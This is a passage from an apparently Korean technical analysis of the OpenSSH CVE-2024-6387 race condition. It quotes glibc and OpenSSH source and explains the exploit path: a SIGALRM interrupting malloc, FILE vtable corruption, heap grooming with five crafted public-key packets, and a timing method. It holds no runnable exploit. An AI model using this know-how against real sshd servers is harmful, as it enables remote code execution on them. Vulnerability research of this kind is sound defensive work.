    }
  else if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)

</div> </details>

<details> <summary>libio/libioP.h:_IO_UNDERFLOW(FP),_IO_WUNDERFLOW(FP)</summary> <div markdown="1">

/* The 'underflow' hook tries to fills the get buffer.
   It returns the next character (as an unsigned char) or EOF.  The next
   character remains in the get buffer, and the get position is not changed.
   It matches the streambuf::underflow virtual function. */
typedef int (*_IO_underflow_t) (FILE *);
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
#define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)

</div> </details>

여기서 _vtable_offset멤버를 덮어 오프셋에 의해 호출되는 함수를 _IO_file_underflow 대신 _IO_wfile_underflow를 호출하게 만듭니다.

<details> <summary>libio/fileops.c:_IO_file_jumps</summary> <div markdown="1">

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)

</div> </details>

<details> <summary>libio/wfileops.c:_IO_wfile_jumps</summary> <div markdown="1">

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

</div> </details>

<details> <summary>libio/fileops.c:_IO_new_file_underflow</summary> <div markdown="1">

int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

</div> </details>

<details> <summary>libio/wfileops.c:_IO_wfile_underflow</summary> <div markdown="1">

wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
	fp->_wide_data->_IO_buf_base;
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
				   fp->_IO_read_ptr, fp->_IO_read_end,
				   &read_stop,
				   fp->_wide_data->_IO_read_ptr,
				   fp->_wide_data->_IO_buf_end,
				   &fp->_wide_data->_IO_read_end);

      fp->_IO_read_base = fp->_IO_read_ptr;
      fp->_IO_read_ptr = (char *) read_stop;

      /* If we managed to generate some text return the next character.  */
      if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
	return *fp->_wide_data->_IO_read_ptr;

      if (status == __codecvt_error)
	{
	  __set_errno (EILSEQ);
	  fp->_flags |= _IO_ERR_SEEN;
	  return WEOF;
	}

      /* Move the remaining content of the read buffer to the beginning.  */
      memmove (fp->_IO_buf_base, fp->_IO_read_ptr,
	       fp->_IO_read_end - fp->_IO_read_ptr);
      fp->_IO_read_end = (fp->_IO_buf_base
			  + (fp->_IO_read_end - fp->_IO_read_ptr));
      fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
    }
  else
    fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end =
      fp->_IO_buf_base;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);

      fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end =
	fp->_IO_buf_base;
    }

  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end =
    fp->_IO_buf_base;

  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
	{
	  free (fp->_wide_data->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
  fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_buf_base;
  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr =
    fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_base;

  const char *read_ptr_copy;
  char accbuf[MB_LEN_MAX];
  size_t naccbuf = 0;
 again:
  count = _IO_SYSREAD (fp, fp->_IO_read_end,
		       fp->_IO_buf_end - fp->_IO_read_end);
  if (count <= 0)
    {
      if (count == 0 && naccbuf == 0)
	{
	  fp->_flags |= _IO_EOF_SEEN;
	  fp->_offset = _IO_pos_BAD;
	}
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
    }
  fp->_IO_read_end += count;
  if (count == 0)
    {
      if (naccbuf != 0)
	/* There are some bytes in the external buffer but they don't
	   convert to anything.  */
	__set_errno (EILSEQ);
      return WEOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);

  /* Now convert the read input.  */
  fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
  fp->_IO_read_base = fp->_IO_read_ptr;
  const char *from = fp->_IO_read_ptr;
  const char *to = fp->_IO_read_end;
  size_t to_copy = count;
  if (__glibc_unlikely (naccbuf != 0))
    {
      to_copy = MIN (sizeof (accbuf) - naccbuf, count);
      to = __mempcpy (&accbuf[naccbuf], from, to_copy);
      naccbuf += to_copy;
      from = accbuf;
    }
  status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
			       from, to, &read_ptr_copy,
			       fp->_wide_data->_IO_read_end,
			       fp->_wide_data->_IO_buf_end,
			       &fp->_wide_data->_IO_read_end);

  if (__glibc_unlikely (naccbuf != 0))
    fp->_IO_read_ptr += MAX (0, read_ptr_copy - &accbuf[naccbuf - to_copy]);
  else
    fp->_IO_read_ptr = (char *) read_ptr_copy;
  if (fp->_wide_data->_IO_read_end == fp->_wide_data->_IO_buf_base)
    {
      if (status == __codecvt_error)
	{
	out_eilseq:
	  __set_errno (EILSEQ);
	  fp->_flags |= _IO_ERR_SEEN;
	  return WEOF;
	}

      /* The read bytes make no complete character.  Try reading again.  */
      assert (status == __codecvt_partial);

      if (naccbuf == 0)
	{
	  if (fp->_IO_read_base < fp->_IO_read_ptr)
	    {
	      /* Partially used the buffer for some input data that
		 produces no output.  */
	      size_t avail = fp->_IO_read_end - fp->_IO_read_ptr;
	      memmove (fp->_IO_read_base, fp->_IO_read_ptr, avail);
	      fp->_IO_read_ptr = fp->_IO_read_base;
	      fp->_IO_read_end -= avail;
	      goto again;
	    }
	  naccbuf = fp->_IO_read_end - fp->_IO_read_ptr;
	  if (naccbuf >= sizeof (accbuf))
	    goto out_eilseq;

	  memcpy (accbuf, fp->_IO_read_ptr, naccbuf);
	}
      else
	{
	  size_t used = read_ptr_copy - accbuf;
	  if (used > 0)
	    {
	      memmove (accbuf, read_ptr_copy, naccbuf - used);
	      naccbuf -= used;
	    }

	  if (naccbuf == sizeof (accbuf))
	    goto out_eilseq;
	}

      fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_read_base;

      goto again;
    }

  return *fp->_wide_data->_IO_read_ptr;
}
libc_hidden_def (_IO_wfile_underflow)

</div> </details> _IO_wfile_underflow는 다음 흐름을 갖는데 이때 __fct 함수 포인터를 조작할 수 있기 때문에 원하는 코드를 실행시킬 수 있습니다.

<p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/call_graph4.png"/></p> <details> <summary>libio/iofwide.c</summary> <div markdown="1">

enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;

  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif

  status = DL_CALL_FCT (fct,
			(gs, &codecvt->__cd_in.step_data, &from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &dummy, 0, 0));

  *from_stop = (const char *) from_start_copy;
  *to_stop = (wchar_t *) codecvt->__cd_in.step_data.__outbuf;

  switch (status)
    {
    case __GCONV_OK:
    case __GCONV_EMPTY_INPUT:
      result = __codecvt_ok;
      break;

    case __GCONV_FULL_OUTPUT:
    case __GCONV_INCOMPLETE_INPUT:
      result = __codecvt_partial;
      break;

    default:
      result = __codecvt_error;
      break;
    }

  return result;
}

</div> </details>

여기에서 함수 포인터로 참조되는 멤버의 구조는 다음과 같이 구성되게됩니다.

<details> <summary>libio/libioP.h</summary> <div markdown="1">

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

</div> </details>

<details> <summary>libio/bits/types/struct_FILE.h:struct _IO_FILE</summary> <div markdown="1">

/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

</div> </details>

<details> <summary>libio.h:_IO_codecvt</summary> <div markdown="1">

struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

</div> </details>

<details> <summary>libio.h:_IO_iconv_t</summary> <div markdown="1">

typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

</div> </details>

<details> <summary>gconv.h:__gconv_step</summary> <div markdown="1">

/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;

  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;

  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;

  void *__data;		/* Pointer to step-local data.  */
};

</div> </details>

<details> <summary>iconv/gconv.h:__gconv_fct</summary> <div markdown="1">

/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
			    const unsigned char **, const unsigned char *,
			    unsigned char **, size_t *, int, int);

</div> </details>

Exploit strategy

SIGALRM에 의해서 어떻게 Exploit을 달성하는지 알아봅시다.

1449 #define set_head(p, s)       ((p)->mchunk_size = (s))
------------------------------------------------------------------------
3765 _int_malloc (mstate av, size_t bytes)
3766 {
....
3798   nb = checked_request2size (bytes);
....
4295               size = chunksize (victim);
....
4300               remainder_size = size - nb;
....
4316                   remainder = chunk_at_offset (victim, nb);
....
4320                   bck = unsorted_chunks (av);
4321                   fwd = bck->fd;
....
4324                   remainder->bk = bck;
4325                   remainder->fd = fwd;
4326                   bck->fd = remainder;
4327                   fwd->bk = remainder;
....
4337                   set_head (victim, nb | PREV_INUSE |
4338                             (av != &main_arena ? NON_MAIN_ARENA : 0));
4339                   set_head (remainder, remainder_size | PREV_INUSE);
....
4343               void *p = chunk2mem (victim);
....
4345               return p;

malloc에서 4327행이 실행된 이후에 4339행 이전이 실행되기전 SIGALRM에 의해 malloc이 중단되는 경우를 이용합니다.

그렇게되면 remainder가 쪼개졌지만 크기는 갱신되지 않은 상태로 unsorted 리스트에 연결되게 됩니다. 이때의 크기 필드값은 갱신되지 않았기 때문에 이전에 이 청크를 할당받은 데이터가 그대로 남아있어 해당 값이 크기 데이터로 사용되게 됩니다. 이렇게하여 커진 remainder chunk의 크기는 뒷쪽을 덮어쓸 수 있을만큼 커질 수 있습니다.

이를 악용하는 흐름은 다음과 같습니다.

Large hole(8KB 크기의 free된 청크)와 small hole(320B 크기의 free된 청크)가 존재합니다.
4KB 크기의 청크를 요청하여 Large hole을 두 개의 청크로 나누도록 유도합니다.
- 이때 해당 작업에 의해 Large hole이 두 개의 청크로 나뉘어진 뒤 위의 4339행이 실행되기전에 SIGALRM에 의해서 malloc의 처리가 중단됩니다.
- 이렇게 처리가 중단된 free remainder 청크의 크기는 이전 값에 의해서 결정됩니다.
- remainder의 크기가 갱신되지 않고 이전 값(찌거기 값)에 의해서 크기가 증가했기 때문에 청크는 뒤의 small hole까지 겹치게됩니다.
SIGARLM의 syslog에서 앞서 알아본 흐름에 의해 fopen을 호출해 FILE 구조체가 small hole에 할당됩니다.
- 이는 앞선 처리에 의해 remainder 청크와 겹치는 영역이 됩니다.
인위적으로 증가한 remainder 청크는 fopen 이후의 __fread_unlocked에서 4KB read buffer를 할당받는 과정에서 한번 더 쪼개지게됩니다.
remainder 청크가 기록되고 FILE의 _vtable_offset 멤버가 remainder 청크의 bk 필드의 3번째 바이트로 덮어씌워지게됩니다.(0x61)
- 이때 FILE 구조체의 _codevt 멤버는 glibc의 malloc 빈 중 하나를 가리키게 덮어씌워집니다.
- 이때의 가정은 해당 주소를 모두 공격자가 안다고 가정합니다.

위의 설명만 봐도 엄청나게 까다로운 조건이 있다는 것을 알 수 있습니다. 이런 까다로운 조건들을 다시 정리해보면 다음과 같습니다.

공격을 성공시키기 위해선 glibc FILE 구조체의 _vtable_offset이 활성화 되어있어야 하기 때문에 현재 정리된 글에선 i386 glibc만 가능합니다.
또한 i386 sshd의 메모리가 0xb7200000 또는 0xb7400000에만 매핑된다는 점을 악용합니다.
- 이를 이용해 ASLR을 최대한 우회하고 이미 알고 있는 주소를 활용합니다.
앞선 언급과 같이 이미 주소값들을 알고 있다는 가정으로 시작을 하기 때문에 _vtable_offset을 덮어쓸 때 쓰는 bk값 역시 0xb761d7f8로 고정입니다.
- 해당 값의 3번째 바이트 값이 0x61이므로 _vtable_offset이 0x61로 오염된다고 가정할 수 있습니다.
FILE을 덮어쓰기 위해 정확한 타이밍에 위 레이아웃을 달성한 상태로 malloc의 수행 중에 SIGALRM이 발생해야합니다.

위와 같은 시나리오를 성공적으로 달성하기 위해 실험에서는 다음과 같은 레이아웃을 구상하여 레이스 컨디션에서 목적을 달성하려합니다.

힙 레이아웃을 어떻게 이렇게 만들까요? 다음 함수들을 이용합니다.

1754 cert_parse(struct sshbuf *b, struct sshkey *key, struct sshbuf *certbuf)
1755 {
....
1797         while (sshbuf_len(principals) > 0) {
....
1805                 if ((ret = sshbuf_get_cstring(principals, &principal,
....
1820                 key->cert->principals[key->cert->nprincipals++] = principal;
1821         }
------------------------------------------------------------------------
 562 cert_free(struct sshkey_cert *cert)
 563 {
 ...
 572         for (i = 0; i < cert->nprincipals; i++)
 573                 free(cert->principals[i]);

함수 명에서도 볼 수 있듯 공개 키 파싱 코드를 악용해서 위의 힙 레이아웃을 만들게됩니다. 이때 cert_parse의 1805행에 위치한 <a href="https://github.com/openssh/openssh-portable/blob/V_9_2/sshkey.c#L1805">sshbuf_get_cstring</a>과 cert_free의 573행에 위치한 <a href="https://github.com/openssh/openssh-portable/blob/V_9_2/sshkey.c#L573C3-L573C7">free</a>를 이용합니다.

sshbuf_get_cstring은 다음과 같이 malloc을 사용합니다.

int
sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp)
{
	size_t len;
	const u_char *p, *z;
	int r;

	if (valp != NULL)
		*valp = NULL;
	if (lenp != NULL)
		*lenp = 0;
	if ((r = sshbuf_peek_string_direct(buf, &p, &len)) != 0)
		return r;
	/* Allow a \0 only at the end of the string */
	if (len > 0 &&
	    (z = memchr(p , '\0', len)) != NULL && z < p + len - 1) {
		SSHBUF_DBG(("SSH_ERR_INVALID_FORMAT"));
		return SSH_ERR_INVALID_FORMAT;
	}
	if ((r = sshbuf_skip_string(buf)) != 0)
		return -1;
	if (valp != NULL) {
		if ((*valp = malloc(len + 1)) == NULL) {
			SSHBUF_DBG(("SSH_ERR_ALLOC_FAIL"));
			return SSH_ERR_ALLOC_FAIL;
		}
		if (len != 0)
			memcpy(*valp, p, len);
		(*valp)[len] = '\0';
	}
	if (lenp != NULL)
		*lenp = (size_t)len;
	return 0;
}

위에서 알아본 힙 레이아웃을 달성하기 위해서 sshd에 다음과 같은 5개의 서로 다른 공개 키 패킷을 전송합니다.

a : tcache 크기의 청크를 malloc하고 free하기 위한 패킷
b : 다양한 크기(~8KB, 320B hole)의 청크를 malloc하고 free하여 27개의 large hole, small hole 쌍을 만들기 위한 패킷
c : 이미 free된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷
- remainder의 크기를 크게 만들 가짜 헤더를 중간에 기록
- glibc의 보안 검사를 통과하기 위한 footer를 small hole 끝 부분에 기록
- fake vtable과 _codecvt 포인터를 small hole에 기록
d : 앞서 free한 청크들이 unsorted bin에서 각각의 large bin과 small bin에 배치될 수 있도록 하는 패킷
e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 : malloc(~4KB), malloc(304), malloc(~4KB), malloc(304))

Timing strategy

여러 제약 사항 때문에 결과적으로 다음과 같은 함수에서 시간을 측정하여 패킷 전송 타이밍을 맞추게됩니다.

 88 userauth_pubkey(struct ssh *ssh, const char *method)
 89 {
...
138         if (pktype == KEY_UNSPEC) {
139                 /* this is perfectly legal */
140                 verbose_f("unsupported public key algorithm: %s", pkalg);
141                 goto done;
142         }
143         if ((r = sshkey_from_blob(pkblob, blen, &key)) != 0) {
144                 error_fr(r, "parse key");
145                 goto done;
146         }
...
151         if (key->type != pktype) {
152                 error_f("type mismatch for decoded key "
153                     "(received %d, expected %d)", key->type, pktype);
154                 goto done;
155         }

공개 키 패킷 중 pktype에 오류가 발생하게끔 데이터를 설정해 138~142행에서 패킷 오류가 발생하게 합니다.
두 번째로 공개 키 패킷 중 key->type에 오류가 발생하게끔 데이터를 설정해 151~155행에서 패킷 오류가 발생하게 합니다.
이때 143행에 존재하는 sshkey_from_blob은 공개키를 파싱하는 함수로 위에서 알아본 양옆에있는 두 함수의 응답 시간의 차가 sshd가 공개 키를 파싱하는 데 걸리는 시간이 됩니다.
이를 통해 마지막 패킷의 전송시간을 조절합니다.

sshkey_from_blob은 다음과 같은 흐름으로 cert_parse를 호출합니다.

<details> <summary>sshkey.c:sshkey_from_blob</summary> <div markdown="1">

int
sshkey_from_blob(const u_char *blob, size_t blen, struct sshkey **keyp)
{
	struct sshbuf *b;
	int r;

	if ((b = sshbuf_from(blob, blen)) == NULL)
		return SSH_ERR_ALLOC_FAIL;
	r = sshkey_from_blob_internal(b, keyp, 1);
	sshbuf_free(b);
	return r;
}

</div> </details>

<details> <summary>sshkey.c:sshkey_from_blob_internal</summary> <div markdown="1">

static int
sshkey_from_blob_internal(struct sshbuf *b, struct sshkey **keyp,
    int allow_cert)
{
	int type, ret = SSH_ERR_INTERNAL_ERROR;
	char *ktype = NULL;
	struct sshkey *key = NULL;
	struct sshbuf *copy;
	const struct sshkey_impl *impl;

#ifdef DEBUG_PK /* XXX */
	sshbuf_dump(b, stderr);
#endif
	if (keyp != NULL)
		*keyp = NULL;
	if ((copy = sshbuf_fromb(b)) == NULL) {
		ret = SSH_ERR_ALLOC_FAIL;
		goto out;
	}
	if (sshbuf_get_cstring(b, &ktype, NULL) != 0) {
		ret = SSH_ERR_INVALID_FORMAT;
		goto out;
	}

	type = sshkey_type_from_name(ktype);
	if (!allow_cert && sshkey_type_is_cert(type)) {
		ret = SSH_ERR_KEY_CERT_INVALID_SIGN_KEY;
		goto out;
	}
	if ((impl = sshkey_impl_from_type(type)) == NULL) {
		ret = SSH_ERR_KEY_TYPE_UNKNOWN;
		goto out;
	}
	if ((key = sshkey_new(type)) == NULL) {
		ret = SSH_ERR_ALLOC_FAIL;
		goto out;
	}
	if (sshkey_type_is_cert(type)) {
		/* Skip nonce that preceeds all certificates */
		if (sshbuf_get_string_direct(b, NULL, NULL) != 0) {
			ret = SSH_ERR_INVALID_FORMAT;
			goto out;
		}
	}
	if ((ret = impl->funcs->deserialize_public(ktype, b, key)) != 0)
		goto out;

	/* Parse certificate potion */
	if (sshkey_is_cert(key) && (ret = cert_parse(b, key, copy)) != 0)
		goto out;

	if (key != NULL && sshbuf_len(b) != 0) {
		ret = SSH_ERR_INVALID_FORMAT;
		goto out;
	}
	ret = 0;
	if (keyp != NULL) {
		*keyp = key;
		key = NULL;
	}
 out:
	sshbuf_free(copy);
	sshkey_free(key);
	free(ktype);
	return ret;
}

</div> </details>

사실상 위에서 알아본 제약 사항 때문에 해당 취약점을 이용하는 것은 많이 힘들어보입니다. 또한 환경에 대한 제약 역시 큽니다. 이제 PoC를 확인해봅시다.

PoC Analysis

<a href="https://github.com/lflare/cve-2024-6387-poc/tree/master">PoC</a>가 현재 공개된 상태지만 의도적으로 해당 PoC는 작동하지않게 작성되어있습니다.

PoC는 앞서 알아본 다음과 같은 순서로 패킷을 전송합니다.

a : tcache 크기의 청크를 malloc하고 free하기 위한 패킷
b : 다양한 크기(~8KB, 320B hole)의 청크를 malloc하고 free하여 27개의 large hole, small hole 쌍을 만들기 위한 패킷
c : 이미 free된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷
- remainder의 크기를 크게 만들 가짜 헤더를 중간에 기록
- glibc의 보안 검사를 통과하기 위한 footer를 small hole 끝 부분에 기록
